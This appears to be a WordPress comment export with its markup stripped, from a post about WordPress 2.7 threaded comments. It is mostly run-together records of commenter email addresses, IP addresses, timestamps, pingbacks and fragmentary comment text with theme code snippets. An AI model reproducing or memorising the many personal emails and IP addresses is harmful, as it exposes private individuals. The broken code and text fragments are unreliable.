24.128.63.249 2008-12-13 18:27:54 2008-12-14 00:27:54 1 6532 0 6538 webmaster@siriusbuzz.com http://siriusbuzz.com 24.128.63.249 2008-12-13 18:43:45 2008-12-14 00:43:45 1 6537 0 6539 admin@wowebz.com http://www.wowebz.com/ 203.213.84.46 2008-12-13 23:46:30 2008-12-14 05:46:30 1 0 0 6541 jeremy.jarratt@gmail.com http://jeremyjarratt.com/ 99.135.12.251 2008-12-14 03:46:33 2008-12-14 09:46:33 1 0 0 6542 http://projects.jesseheap.com/wordpress-27-upgrade-2008-12-14.htm 208.113.247.60 2008-12-14 07:22:21 2008-12-14 13:22:21 1 pingback 0 0 6543 donpaolo@gsi.it http://parrocchialagaccio.it 85.20.221.25 2008-12-14 12:21:42 2008-12-14 18:21:42 1 0 0 6544 http://jaf.eng.br/?p=1 208.113.188.4 2008-12-14 13:00:31 2008-12-14 19:00:31 1 pingback 0 0 6545 http://nslog.com/2008/12/12/wordpress_27_comments 72.47.218.47 2008-12-14 13:06:37 2008-12-14 19:06:37 1 pingback 0 0 6546 http://www.noupe.com/wordpress/mastering-your-wordpress-27-theme-admin-area-tips-and-tricks.html 64.13.232.17 2008-12-14 17:54:43 2008-12-14 23:54:43 1 pingback 0 0 6549 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-15 09:24:20 2008-12-15 15:24:20 1 6543 1 6548 http://ncs.hneufeld.com/?p=275 65.254.224.36 2008-12-15 08:24:42 2008-12-15 14:24:42 1 pingback 0 0 6550 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-15 09:27:35 2008-12-15 15:27:35 1 6535 1 6551 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-15 09:28:59 2008-12-15 15:28:59 1 6536 1 6552 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-15 09:30:45 2008-12-15 15:30:46 1 6538 1 6553 webmaster@siriusbuzz.com http://siriusbuzz.com 198.76.121.79 2008-12-15 14:32:15 2008-12-15 20:32:15 1 6552 0 6554 webmaster@siriusbuzz.com http://siriusbuzz.com 198.76.121.79 2008-12-15 14:35:01 2008-12-15 20:35:01 1 6535 0 6555 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-15 14:46:23 2008-12-15 20:46:23 1 6554 1 6613 http://www.findwebhosting.us/mastering-your-wordpress-27-theme-admin-area-tips-and-tricks/ 63.247.93.98 2008-12-31 15:25:29 2008-12-31 21:25:29 1 pingback 0 0 6557 http://kolakube.com/news/wordpress-27/ 69.72.169.113 2008-12-15 20:48:00 2008-12-16 02:48:00 1 pingback 0 0 6558 http://blog.neuronaltraining.net/?p=2205 208.113.190.19 2008-12-15 21:43:27 2008-12-16 03:43:27 1 pingback 0 0 6559 satria.permana@gmail.com http://satriapermana.net 125.164.213.3 2008-12-16 02:33:15 2008-12-16 08:33:15 1 0 0 6560 isakib@gmail.com http://www.techidea.org 59.152.24.2 2008-12-16 09:26:51 2008-12-16 15:26:51 1 0 0 6561 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-16 09:34:47 2008-12-16 15:34:47 1 6560 1 6562 geoff@casualhex.com http://casualhex.com 68.62.211.236 2008-12-16 13:56:24 2008-12-16 19:56:24 1 6561 0 6563 chriscarvache@gmail.com http://chriscarvache.com 206.53.75.32 2008-12-16 17:24:15 2008-12-16 23:24:15 <?php endif; endif; It should read: I know this is small but will result in validation errors and layout glitches. Thanks for the script!]]> 1 0 0 6565 http://www.matthalliday.ca/2008/12/16/whats-new-in-wp-27/ 207.210.105.76 2008-12-16 18:58:08 2008-12-17 00:58:08 1 pingback 0 0 6566 http://garyjones.co.uk/blog/wordpress-threaded-comments/ 80.82.112.218 2008-12-16 20:00:22 2008-12-17 02:00:22 1 pingback 0 0 6567 tnt469@aol.com http://dominic-tancredi.com 207.38.190.35 2008-12-16 22:03:21 2008-12-17 04:03:21 1 6548 0 6570 eric.protat@gmail.com http://www.lepetitkopat.com 194.88.223.175 2008-12-17 11:11:57 2008-12-17 17:11:57 1 0 0 6573 eric.protat@gmail.com http://www.lepetitkopat.com 194.88.223.175 2008-12-17 11:22:59 2008-12-17 17:22:59 1 6570 0 6574 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-17 11:28:42 2008-12-17 17:28:42 if ('open' == $post-> comment_status) : and if ( get_option('comment_registration') && !$user_ID )]]> 1 6563 1 6575 chriscarvache@gmail.com http://chriscarvache.com 206.53.75.32 2008-12-17 23:39:54 2008-12-18 05:39:54 statements. its with the closing tags. The problem is that you put the last closing at the END of the file. It needs to be in the middle of the last two statements. Otherwise the does not correctly close out in certain situations. Nest your code and you'll see what I mean...]]> 1 6574 0 6576 chriscarvache@gmail.com http://chriscarvache.com 206.53.75.32 2008-12-17 23:43:43 2008-12-18 05:43:43 1 6574 0 6577 limetouch@gmail.com http://limetouch.com 119.234.16.208 2008-12-18 02:36:33 2008-12-18 08:36:33 1 0 0 6581 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-18 09:00:39 2008-12-18 15:00:39 1 6576 1 6579 admin@my-instinct-was-wrong.com http://instinct-software.com 216.171.248.4 2008-12-18 07:31:41 2008-12-18 13:31:41 1 0 0 6614 mr.cat2009@gmail.com http://tl-school.com 61.19.66.201 2009-01-03 14:36:00 2009-01-03 20:36:00 1 0 0 6582 admin@my-instinct-was-wrong.com http://instinct-software.com 216.171.248.4 2008-12-18 11:01:04 2008-12-18 17:01:04 1 0 0 6584 nsathees@inthusa.com http://inthusa.com 124.43.164.74 2008-12-18 17:34:04 2008-12-18 23:34:04 1 0 0 6585 http://www.blaszta.com/blog/2008/12/19/aktivasi-threaded-comment-di-wordpress-27/ 66.232.124.67 2008-12-18 20:23:26 2008-12-19 02:23:26 1 pingback 0 0 6586 koydin@gmail.com http://www.bytetips.com 203.190.35.130 2008-12-18 21:39:44 2008-12-19 03:39:44 1 0 0 6596 jhay@jrocas.com.ph http://jrocas.com.ph 222.127.192.218 2008-12-22 20:34:17 2008-12-23 02:34:17 1 6577 0 6597 jhay@jrocas.com.ph http://jrocas.com.ph 222.127.192.218 2008-12-22 21:12:15 2008-12-23 03:12:15 if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); in my theme's header.php file?]]> 1 0 0 6598 sean@mclellanstudio.com http://www.mclellanblog.com 69.138.44.75 2008-12-23 00:54:20 2008-12-23 06:54:20 1 0 0 6592 http://niektenhoopen.nl/2008/12/21/wordpress-27-reageren-op-reacties/ 81.26.217.227 2008-12-21 06:13:41 2008-12-21 12:13:41 1 pingback 0 0 6602 eyn@channel-ai.com http://www.channel-ai.com/blog/ 99.225.180.160 2008-12-24 15:28:46 2008-12-24 21:28:46 <div id="div-comment-<?php comment_ID(); ?>"> I suggest you put a section in your article listing all markup used by the Javascript as it will be helpful for other developers that opted for custom callback for comment listing. Other than that, thanks for writing such informative article. The problem I mentioned is the only one that is causing me headaches while following your article.]]> 1 0 0 6606 http://www.linkarchive.co.cc/2008/12/mastering-your-wordpress-27-theme-admin-area-tips-and-tricks/ 208.43.100.50 2008-12-25 17:52:28 2008-12-25 23:52:28 1 pingback 0 0 6607 adriana@ofsexandlove.com http://ofsexandlove.com 72.177.164.109 2008-12-26 04:10:13 2008-12-26 10:10:13 1 0 0 6608 http://www.christianschenk.org/blog/paginated-comments-copyblogger-theme/ 217.24.218.144 2008-12-26 11:06:01 2008-12-26 17:06:01 1 pingback 0 0 6612 http://www.rattlab.net/2008/12/upgrade-auf-wordpress-27/ 85.13.140.78 2008-12-30 09:09:29 2008-12-30 15:09:29 1 pingback 0 0 6610 calv_10@yahoo.com http://www.calvinshub.com 119.94.244.221 2008-12-27 09:31:27 2008-12-27 15:31:27 1 0 0 6617 ron-blogcomments@someplace.us 74.65.227.195 2009-01-06 01:17:02 2009-01-06 07:17:02 MicroID spec says, "An Issuer MUST NOT generate a MicroID until it has verified that the Individual or Service Provider has control over a given EntityURI. Methods for such verification are out of scope for this specification and may vary according to local service policies and the URI scheme in question." and it looks like this generates a MicroID for all comments. It appears that generating them for verified WP Users or OpenIDs would be ok, but generating them for anonymous, ie, unverfied users is not.]]> 1 0 0 6620 johnnytee@gmail.com http://www.bandzilla.net 153.9.5.15 2009-01-06 11:11:58 2009-01-06 17:11:58 1 0 0 6621 tracyridge@hotmail.com http://worldoweb.co.uk 88.109.78.221 2009-01-06 12:57:04 2009-01-06 18:57:04 1 0 0 6625 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2009-01-06 16:43:38 2009-01-06 22:43:38 1 6624 1 6619 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2009-01-06 08:37:02 2009-01-06 14:37:02 1 6617 1 6623 bram.vandersype@gmail.com http://bramme.net 84.195.125.58 2009-01-06 16:07:02 2009-01-06 22:07:02 1 0 0 6624 ron-blogcomments@someplace.us 74.65.227.195 2009-01-06 16:29:21 2009-01-06 22:29:21 validated address. Someone who had control over that address opened that Digg account. If there were a MicroID on my comment here, it would it would only prove that if you run the same email address and the same URL through the same formula, that you're going to get the same result every time. You've gained nothing over just having had my email and URL to begin with. But with all this having now been said, I don't see a MicroID on my previous comment here, which suggests that you're not issuing them for unverified users after all. I do see one on yours. Yours: <li class="comment byuser comment-author-otto bypostauthor even depth-2 microid-mailto+http:sha1:23e9670868f6d2b16fe1f6b3db80c8f0423a082a" id="comment-6619"> Mine: <li class="comment odd alt thread-odd thread-alt depth-1 parent" id="comment-6617"> I guess I have my answer now. So... anyway, I also want to thank you for explaining the enhancements in 2.7 as I'm trying to bring the old Benevolence theme forward.]]> 1 6619 0 6671 siberianrage-unsecure@yahoo.com.ar http://www.bucanero.com.ar 190.244.23.17 2009-01-27 19:08:06 2009-01-28 01:08:06 1 0 0 6673 vaibhav.gadodia@gmail.com http://blog.gadodia.net 61.246.0.131 2009-01-28 11:51:30 2009-01-28 17:51:30 1 0 0 6687 sam_m@gmail.com 82.36.81.12 2009-02-07 08:20:06 2009-02-07 14:20:06 1 0 0 6665 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-01-23 11:17:02 2009-01-23 17:17:02 1 6664 1 6666 matt.algren@gmail.com http://mattalgren.com 149.32.192.33 2009-01-23 11:59:09 2009-01-23 17:59:09 1 6665 0 6668 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-01-26 10:59:27 2009-01-26 16:59:27 1 6666 1 6669 greg-blog@counsellingresource.com http://counsellingresource.com 88.105.124.71 2009-01-27 11:02:30 2009-01-27 17:02:30 Greg's Threaded Comment Numbering All the best, Greg]]> 1 0 0 6670 matt.algren@gmail.com http://mattalgren.com 149.32.192.33 2009-01-27 15:54:22 2009-01-27 21:54:22 1 6668 0 6629 ron-blogcomments@someplace.us 74.65.227.195 2009-01-06 23:30:32 2009-01-07 05:30:32 did leave the comment, since no effort was made to validate control. You can assert that you didn't leave the comment, but there's nothing of value upon which you can stake that claim. At the same time, I could leave a comment with valid information and disown it when in fact I made it, because again, there's been no effort to validate the resource. Such MicroIDs have no credibility upon which they can disprove anything. If this is how MicroID is supposed to work, it's completely worthless.]]> 1 6625 0 6630 marctole@gmx.net 85.125.14.140 2009-01-07 08:36:41 2009-01-07 14:36:41 1 6623 0 6631 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2009-01-07 08:47:46 2009-01-07 14:47:46 1 6629 1 6663 johnnytee@gmail.com http://johndturner.com 153.9.5.15 2009-01-22 15:28:29 2009-01-22 21:28:29 1 0 0 6664 matt.algren@gmail.com http://mattalgren.com 149.32.192.33 2009-01-23 09:47:41 2009-01-23 15:47:41 here. Wendy's reply at 12:39pm should revert to the original background color, but instead it's kept mine. If it helps, I totally stole the comments section of the default theme. My css here. Help?]]> 1 0 0 6635 http://leblogameli.free.fr/?p=669 212.27.63.204 2009-01-08 14:51:42 2009-01-08 20:51:42 1 pingback 0 0 6636 leblogameli@free.fr http://leblogameli.free.fr 88.161.252.112 2009-01-08 15:00:26 2009-01-08 21:00:26 1 0 0 6634 http://coffeebear.net/archives/2009/01/08/updating-vectorlover-theme/ 72.52.176.4 2009-01-08 11:16:12 2009-01-08 17:16:12 1 pingback 0 0 6649 http://album.amb.com.tw/2009/01/16/mastering-your-wordpress-27-theme-admin-area-tips-and-tricks/ 122.117.241.131 2009-01-15 17:31:20 2009-01-15 23:31:20 1 pingback 0 0 6647 http://www.ejabs.com/blog/2009/01/make-old-themes-compatible-with-wordpress-27-comment-features/ 74.124.210.232 2009-01-15 14:07:21 2009-01-15 20:07:21 1 pingback 0 0 6648 http://www.scriptygoddess.com/archives/2009/01/15/wordpress-wp_list_comments/ 69.89.31.179 2009-01-15 17:06:59 2009-01-15 23:06:59 1 pingback 0 0 6641 http://www.jimwestergren.com/hacks-to-boost-your-wordpress-27-blog/ 64.15.146.85 2009-01-11 11:20:32 2009-01-11 17:20:32 1 pingback 0 0 6642 http://design.flyingkiwis.co.nz/2008/12/wordpress-27-is-gold/ 202.89.57.14 2009-01-12 01:42:57 2009-01-12 07:42:57 1 pingback 0 0 6644 http://www.vicente-navarro.com/blog/2009/01/13/comentarios-anidados-con-wordpress-27-nueva-vista-para-archivos-y-otros-cambios-en-la-plantilla/ 212.227.114.96 2009-01-13 13:59:31 2009-01-13 19:59:31 1 pingback 0 0 6645 http://blog.pinkandyellow.com/wordpress-themes/typograph-theme-update-now-with-threaded-comments-20090113/ 74.208.16.78 2009-01-13 20:44:41 2009-01-14 02:44:41 1 pingback 0 0 6646 eivind@marienblogg.no http://www.marienblogg.no 79.160.162.27 2009-01-14 12:07:21 2009-01-14 18:07:21 1 0 0 6678 trg.scholarship@gmail.com http://www.klinik-pajak.com 125.161.210.220 2009-01-31 08:32:20 2009-01-31 14:32:20 1 6664 0 6681 lisandrovico@gmail.com 201.234.147.139 2009-02-03 17:57:34 2009-02-03 23:57:34 1 0 0 6682 http://www.seaslugteam.com/archives/2009/02/05/2009-redesign/ 72.29.75.191 2009-02-05 15:27:47 2009-02-05 21:27:47 1 pingback 0 0 6683 bkabak@gmail.com http://secondavenuesagas.com 69.86.241.184 2009-02-05 18:58:10 2009-02-06 00:58:10 1 0 0 6652 khoffman@gmail.com http://kristanhoffman.com/ 24.123.12.162 2009-01-16 10:32:30 2009-01-16 16:32:30 1 0 0 6653 khoffman@gmail.com http://kristanhoffman.com/ 24.123.12.162 2009-01-16 11:45:12 2009-01-16 17:45:12 1 0 0 6654 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-01-16 12:51:25 2009-01-16 18:51:25 1 6653 1 6655 http://www.blogherald.com/2009/01/16/security-and-hacking-the-state-of-wordpress-blogs/ 72.34.57.44 2009-01-16 22:40:11 2009-01-17 04:40:11 1 pingback 0 0 6657 msanjay75+wordpress@gmail.com http://msanjay.weblogs.us 117.192.197.106 2009-01-18 06:46:48 2009-01-18 12:46:48 1 0 0 6660 brkzn.brkzn@gmail.com 78.169.239.42 2009-01-20 11:31:48 2009-01-20 17:31:48 1 6654 0 6684 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-02-05 21:31:23 2009-02-06 03:31:23 1 6683 1 6691 sam_m@gmail.com 82.36.81.12 2009-02-07 15:42:12 2009-02-07 21:42:12 1 6689 0 6688 sam_m@gmail.com 82.36.81.12 2009-02-07 08:23:28 2009-02-07 14:23:28 1 0 0 6689 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-02-07 10:33:31 2009-02-07 16:33:31 1 6688 1 6692 sam_m@gmail.com 82.36.81.12 2009-02-07 16:00:54 2009-02-07 22:00:54 1 6691 0 6693 sam_m@gmail.com 82.36.81.12 2009-02-08 11:48:48 2009-02-08 17:48:48 1 6692 0 6696 http://www.im-tal.net/seitentemplate-gaestebuch-mit-umgekehrter-reihenfolge 85.214.125.204 2009-02-11 11:25:37 2009-02-11 17:25:37 1 pingback 0 0 6697 http://www.blogussion.com/blog/creating-a-community/addressing-comment-wrong-ways 208.43.114.52 2009-02-11 17:29:10 2009-02-11 23:29:10 1 pingback 0 0 6715 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-02-23 12:12:01 2009-02-23 18:12:01 1 6712 1 6699 scottgmeadows@gmail.com 129.97.59.176 2009-02-12 11:08:35 2009-02-12 17:08:35 1 0 0 6700 http://cdharrison.com/2008/12/wordpress-27-comments-not-threading/ 64.13.232.12 2009-02-12 19:24:15 2009-02-13 01:24:15 1 pingback 0 0 6714 http://haveaniceweb.wordpress.com/2009/02/23/wordpress-themes-an-v27-anpassen/ 74.200.245.190 2009-02-23 04:17:56 2009-02-23 10:17:56 1 pingback 0 0 6713 http://yoschi.cc/blog/2009/02/grabbel-kiste-3 88.80.222.243 2009-02-23 01:27:10 2009-02-23 07:27:10 1 pingback 0 0 6704 webmaster@siriusbuzz.com http://siriusbuzz.com/ 24.128.63.249 2009-02-17 01:26:56 2009-02-17 07:26:56 1 6684 0 6705 webmaster@siriusbuzz.com http://siriusbuzz.com 24.128.63.249 2009-02-17 01:31:15 2009-02-17 07:31:15 1 0 0 6706 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-02-17 01:33:46 2009-02-17 07:33:46 1 6705 1 6707 http://www.webinventif.fr/breve-wordpress-40-liens-themes-plugins-astuces-genre/ 91.121.153.101 2009-02-19 06:31:32 2009-02-19 12:31:32 1 pingback 0 0 6708 info@missmaddis.com http://missmaddis.com 85.224.244.46 2009-02-20 09:30:59 2009-02-20 15:30:59 1 0 0 6709 mail@adipopescu.com http://www.adipopescu.com 92.81.24.244 2009-02-20 15:36:09 2009-02-20 21:36:09 1 0 0 6712 johnnyc@proveisso.net http://www.proveisso.net 189.61.23.185 2009-02-22 19:20:22 2009-02-23 01:20:22 1 0 0 6716 zecharyw@gmail.com http://zacklive.com 65.49.2.13 2009-02-25 05:56:13 2009-02-25 11:56:13 1 0 0 6720 tom@sramekdesign.com http://www.SramekDesign.com 93.173.72.40 2009-03-01 00:40:31 2009-03-01 06:40:31 1 0 0 6721 johnnyc@proveisso.net http://www.proveisso.net 189.61.23.185 2009-03-01 12:22:05 2009-03-01 18:22:05 1 0 0 6733 http://www.darrenhoyt.com/2009/03/18/a-plugin-for-unstyling-comment-replies/ 74.205.61.228 2009-03-18 22:20:39 2009-03-19 03:20:39 1 pingback 0 0 6726 http://www.malcolmcoles.co.uk/blog/easy-ways-fine-tune-blog/ 87.117.235.130 2009-03-04 17:46:46 2009-03-04 23:46:46 1 pingback 0 0 6727 http://tekartist.org/blog/2008/11/04/lifestream-for-2008-11-04/ 67.205.47.214 2009-03-04 22:56:59 2009-03-05 04:56:59 1 pingback 0 0 6728 boudghene_pro@yahoo.com 88.181.101.20 2009-03-06 11:39:11 2009-03-06 17:39:11 1 0 0 6730 http://www.vianegativa.us/2009/03/in-lieu-of-new-content/ 69.65.28.126 2009-03-17 15:52:25 2009-03-17 20:52:25 1 pingback 0 0 6770 marcok@gmail.com 217.238.118.210 2009-04-19 08:19:18 2009-04-19 13:19:18 1 6769 0 6756 dayna.confession@gmail.com http://amourchaleur.com 220.255.7.249 2009-03-31 22:50:03 2009-04-01 03:50:03 1 6754 0 6736 brent@mimoymima.com http://mimoymima.com 64.13.232.11 2009-03-23 12:26:55 2009-03-23 17:26:55 tag, so if you want to style it you need to style all em tags in all comments, which I don't want to do... Is there an easy way to just add a class to this one tag without re-writing the entire comment template from scratch? any help is GREATLY appreciated brent @ mimoYmima.com]]> 1 0 0 6737 brent@mimoymima.com http://mimoymima.com 64.13.232.11 2009-03-23 13:35:04 2009-03-23 18:35:04 1 6736 0 6738 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-03-23 13:48:34 2009-03-23 18:48:34 em { color:red; } The greater than mark makes it only refer to direct children instead of all children. CSS Selectors are super-powerful, but very few people use them, for some reason. ]]> 1 6737 1 6739 brent@mimoymima.com http://mimoymima.com 80.37.158.187 2009-03-23 15:36:39 2009-03-23 20:36:39 1 6738 0 6740 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-03-23 15:39:33 2009-03-23 20:39:33 1 6739 1 6741 brent@mimoymima.com http://mimoymima.com 80.37.158.187 2009-03-23 16:26:23 2009-03-23 21:26:23 1 6740 0 6742 brent@mimoymima.com http://mimoymima.com 80.37.158.187 2009-03-23 16:27:50 2009-03-23 21:27:50 1 6740 0 6743 brent@mimoymima.com http://mimoymima.com 80.37.158.187 2009-03-23 16:47:00 2009-03-23 21:47:00 1 6740 0 6744 mks6804@gmail.com http://fearlessflyer.com 71.130.57.199 2009-03-24 14:09:53 2009-03-24 19:09:53 1 0 0 6745 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-03-24 14:13:15 2009-03-24 19:13:15 1 6744 1 6746 mks6804@gmail.com http://fearlessflyer.com 71.130.57.199 2009-03-24 14:19:23 2009-03-24 19:19:23 1 6744 0 6747 http://centakume.info/2009/03/25/blog-redesign-2/ 67.18.18.90 2009-03-25 09:23:55 2009-03-25 14:23:55 1 pingback 0 0 6748 ryan@advantusmedia.com http://www.flexibilitytheme.com 66.252.121.169 2009-03-26 15:48:27 2009-03-26 20:48:27 1 0 0 6753 dayna.confession@gmail.com http://amourchaleur.com 220.255.7.207 2009-03-31 09:45:23 2009-03-31 14:45:23 1 0 0 6754 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-03-31 10:05:06 2009-03-31 15:05:06 'div-comment', 'depth' => $depth, 'max_depth' => $args['max_depth']))) The "add_below" link is the important bit here.]]> 1 6753 1 6758 steve@deadlycomputer.com http://steve.deadlycomputer.com 69.126.21.7 2009-04-02 14:24:19 2009-04-02 19:24:19 1 0 0 6760 http://www.webstyle-blog.de/2008/10/wordpress-27-im-november-themes-vorbereiten/ 85.13.141.194 2009-04-04 03:18:19 2009-04-04 08:18:19 1 pingback 0 0 6761 lvvliet@sogyo.nl 194.121.85.211 2009-04-07 04:59:04 2009-04-07 09:59:04 1 0 0 6763 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-04-07 09:23:13 2009-04-07 14:23:13 1 6761 1 6768 marcok@gmail.com 217.238.118.210 2009-04-18 21:07:37 2009-04-19 02:07:37 1 6766 0 6769 otto@ottodestruct.com http://ottodestruct.com 75.64.210.229 2009-04-19 00:54:22 2009-04-19 05:54:22 1 6768 1 6765 http://www.guardianwebdesign.com.au/960bc/welcome-to-the-grid/ 203.98.91.10 2009-04-13 03:46:26 2009-04-13 08:46:26 1 pingback 0 0 6766 pablofaria@gmail.com 143.106.1.146 2009-04-13 12:18:29 2009-04-13 17:18:29 1 0 0 6784 dhinvh@yahoo.com http://dhini.nl 77.169.143.249 2009-05-06 13:39:51 2009-05-06 18:39:51 1 0 0 6778 http://www.divitodesign.com/community/interesting-articles-17/ 72.18.130.22 2009-04-27 16:42:58 2009-04-27 21:42:58 1 pingback 0 0 6777 http://www.blogussion.com/blog/creating-a-community/increase-comment-productivity-blog 208.43.114.52 2009-04-25 19:58:36 2009-04-26 00:58:36 1 pingback 0 0 6779 http://www.growmap.com/threaded-comments/ 207.58.182.21 2009-04-27 23:22:56 2009-04-28 04:22:56 1 pingback 0 0 6786 otto@ottodestruct.com http://ottodestruct.com 75.64.200.54 2009-05-06 14:33:52 2009-05-06 19:33:52 1 6784 1 6787 dhinvh@yahoo.com http://dhini.nl 77.169.143.249 2009-05-06 15:51:44 2009-05-06 20:51:44 1 6786 0 6788 otto@ottodestruct.com http://ottodestruct.com 75.64.200.54 2009-05-06 18:06:12 2009-05-06 23:06:12 1 6787 1 6789 dhinvh@yahoo.com http://dhini.nl 77.169.143.249 2009-05-07 01:20:07 2009-05-07 06:20:07 Cristina I know this link and If I follow your tutorial, dat would be the Reply to this Comment show. And I use comments.php, so I think more easer for me? But this Reply to this Comment not show]]> 1 6788 0 6790 otto@ottodestruct.com http://ottodestruct.com 75.64.200.54 2009-05-07 01:23:02 2009-05-07 06:23:02 Discussion screen. The reply link will not show unless threaded comments are turned on. That's all there is to it. I cannot explain it any better than that.]]> 1 6789 1 6791 dhinvh@yahoo.com http://dhini.nl 77.169.143.249 2009-05-07 01:43:04 2009-05-07 06:43:04 1 6788 0 6792 dhinvh@yahoo.com http://dhini.nl 77.169.143.249 2009-05-07 01:58:43 2009-05-07 06:58:43 1 6791 0 6793 otto@ottodestruct.com http://ottodestruct.com 75.64.200.54 2009-05-07 10:21:04 2009-05-07 15:21:04 1 6792 1 6799 http://blog.kaizeku.com/wordpress/how-to-upgrade-your-theme-to-wordpress-27/ 74.220.207.171 2009-05-13 11:08:42 2009-05-13 16:08:42 1 pingback 0 0 6800 andydigit@gmail.com http://www.loadfuel.com 91.111.103.45 2009-05-15 06:12:28 2009-05-15 11:12:28 1 0 0 6804 carnews@sanook.com http://shopguide.bloggoo.com 222.123.88.247 2009-05-18 22:14:48 2009-05-19 03:14:48 1 0 0 6848 oozman.weblog@gmail.com http://how.oozman.com 112.200.174.147 2009-06-10 23:43:53 2009-06-11 04:43:53 1 0 0 6810 stephen@elanaspantry.com http://www.elanaspantry.com/ 71.237.94.148 2009-05-20 12:47:54 2009-05-20 17:47:54 if(get_comment_author_url()) { echo '' . get_comment_author() . ' @ ' . get_comment_author_url_link() . ''; } else { comment_author(); }]]> 1 0 0 6861 http://www.itler.net/2009/06/weise-leere-seite-nach-kommentar-wordpres 88.198.51.175 2009-06-20 08:01:38 2009-06-20 13:01:38 1 pingback 0 0 6867 http://wp-popular.com/popular-word-press-websites/wordpress-2-7-comments-enhancements-2/ 67.43.0.50 2009-07-02 14:17:27 2009-07-02 19:17:27 1 pingback 0 0 6860 http://www.randomprocess.ca/2009/06/18/bold-feature-rundown/ 72.52.154.100 2009-06-18 21:00:43 2009-06-19 02:00:43 1 pingback 0 0 6814 stephen@elanaspantry.com 71.237.94.148 2009-05-21 11:50:46 2009-05-21 16:50:46 1 6810 0 6815 pam@fixatedstar.info http://fixatedstar.info 121.96.128.242 2009-05-23 02:11:13 2009-05-23 07:11:13 commented on <a href="#comment-" title=""> How do I implement that style to the new wp_list_comment thing?]]> 1 0 0 6816 pam@fixatedstar.info http://fixatedstar.info 121.96.128.242 2009-05-23 02:14:47 2009-05-23 07:14:47 commented on <a href="#comment-" title=""> ]]> 1 0 0 6817 pam@fixatedstar.info http://fixatedstar.info 121.96.128.242 2009-05-23 02:15:41 2009-05-23 07:15:41 1 0 0 6818 sauclair@saguenay-it.com http://www.sewsolutions.com 66.130.172.27 2009-05-23 04:23:29 2009-05-23 09:23:29 Saguenay-IT, (IT Outsourcing, SOA, PHP, ASP, Flex, ActionScript, JavaScript...)]]> 1 0 0 6822 generico012@yahoo.mail 93.138.59.216 2009-05-25 11:38:40 2009-05-25 16:38:40 westhost review]]> 1 0 0 6841 otto@ottodestruct.com http://ottodestruct.com 75.64.200.54 2009-06-04 20:31:12 2009-06-05 01:31:12 1 6840 1 6840 tim@designbuildsolutionsllc.com http://www.designbuildsolutionsllc.com 98.220.58.183 2009-06-04 16:14:35 2009-06-04 21:14:35 1 0 0 6839 http://jon.netdork.net/2009/06/03/updated-theme 71.6.153.227 2009-06-03 23:35:47 2009-06-04 04:35:47 1 pingback 0 0 6838 http://mmotips.us/separating-and-hiding-trackbacks-with-jquery-in-wordpress-27/ 209.190.85.205 2009-06-03 03:11:51 2009-06-03 08:11:51 1 pingback 0 0 6831 http://armeda.com/wordpress-27-nested-comments-with-separate-ping-list/ 72.47.228.17 2009-05-28 13:52:00 2009-05-28 18:52:00 1 pingback 0 0 6857 http://ozver.in/2009/04/23/links-for-2009-04-22/ 78.108.89.47 2009-06-14 11:33:30 2009-06-14 16:33:30 1 pingback 0 0 6858 nate@calvarykendall.com http://nateandchrissy.com 75.74.219.244 2009-06-15 00:14:12 2009-06-15 05:14:12 1 0 0 6868 robert@domain.tld 69.248.143.128 2009-07-03 18:03:02 2009-07-03 23:03:02 1 0 0 6863 http://q4news.com/2009/06/27/separating-and-hiding-trackbacks-with-jquery-in-wordpress-2-7/ 174.120.20.2 2009-06-27 11:33:50 2009-06-27 16:33:50 1 pingback 0 0 6864 http://q4news.com/2009/06/27/separating-and-hiding-trackbacks-with-jquery-in-wordpress-2-7/ 174.120.20.2 2009-06-27 11:33:50 2009-06-27 16:33:50 1 pingback 0 0 6865 http://q4news.com/2009/06/26/mastering-your-wordpress-2-7-theme-admin-area-tips-and-tricks/ 174.120.20.2 2009-06-27 11:56:13 2009-06-27 16:56:13 1 pingback 0 0 6866 http://newwpthemes.com/wordpress/wordpress-2-7-comments-enhancements/ 74.53.72.178 2009-06-28 16:37:22 2009-06-28 21:37:22 1 pingback 0 0 6871 zzoizavr@gmail.com http://allpa.ru/ 91.210.20.5 2009-07-13 19:54:12 2009-07-14 00:54:12 1 6469 0 6872 jessica@jessicasideways.com http://jessicasideways.com/ 58.8.102.2 2009-07-14 06:11:28 2009-07-14 11:11:28 1 6508 0 6873 http://www.legendrefamily.org/blog/archives/469 207.70.162.74 2009-07-15 22:17:30 2009-07-16 03:17:30 1 pingback 0 0 6874 http://www.jeremyadamdavis.com/projects/the-making-of-a-monsta-wordpress-theme/ 69.89.31.133 2009-07-17 00:34:16 2009-07-17 05:34:16 1 pingback 0 0 6876 kmanjunath@sapplica.com http://sapplica.com 61.16.248.242 2009-07-20 05:10:45 2009-07-20 10:10:45 1 6396 0 6877 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-07-20 08:18:16 2009-07-20 13:18:16 Discussion screen.]]> 1 6876 1 6878 http://swankwebstyle.com/blog/2008/12/11/wordpress-27-coltrane-now-available/ 72.29.65.116 2009-07-20 14:35:23 2009-07-20 19:35:23 1 pingback 0 0 6880 http://webmaster.cyooh.com/mastering-your-wordpress-27-theme-admin-area-tips-and-tricks/ 75.119.202.248 2009-07-22 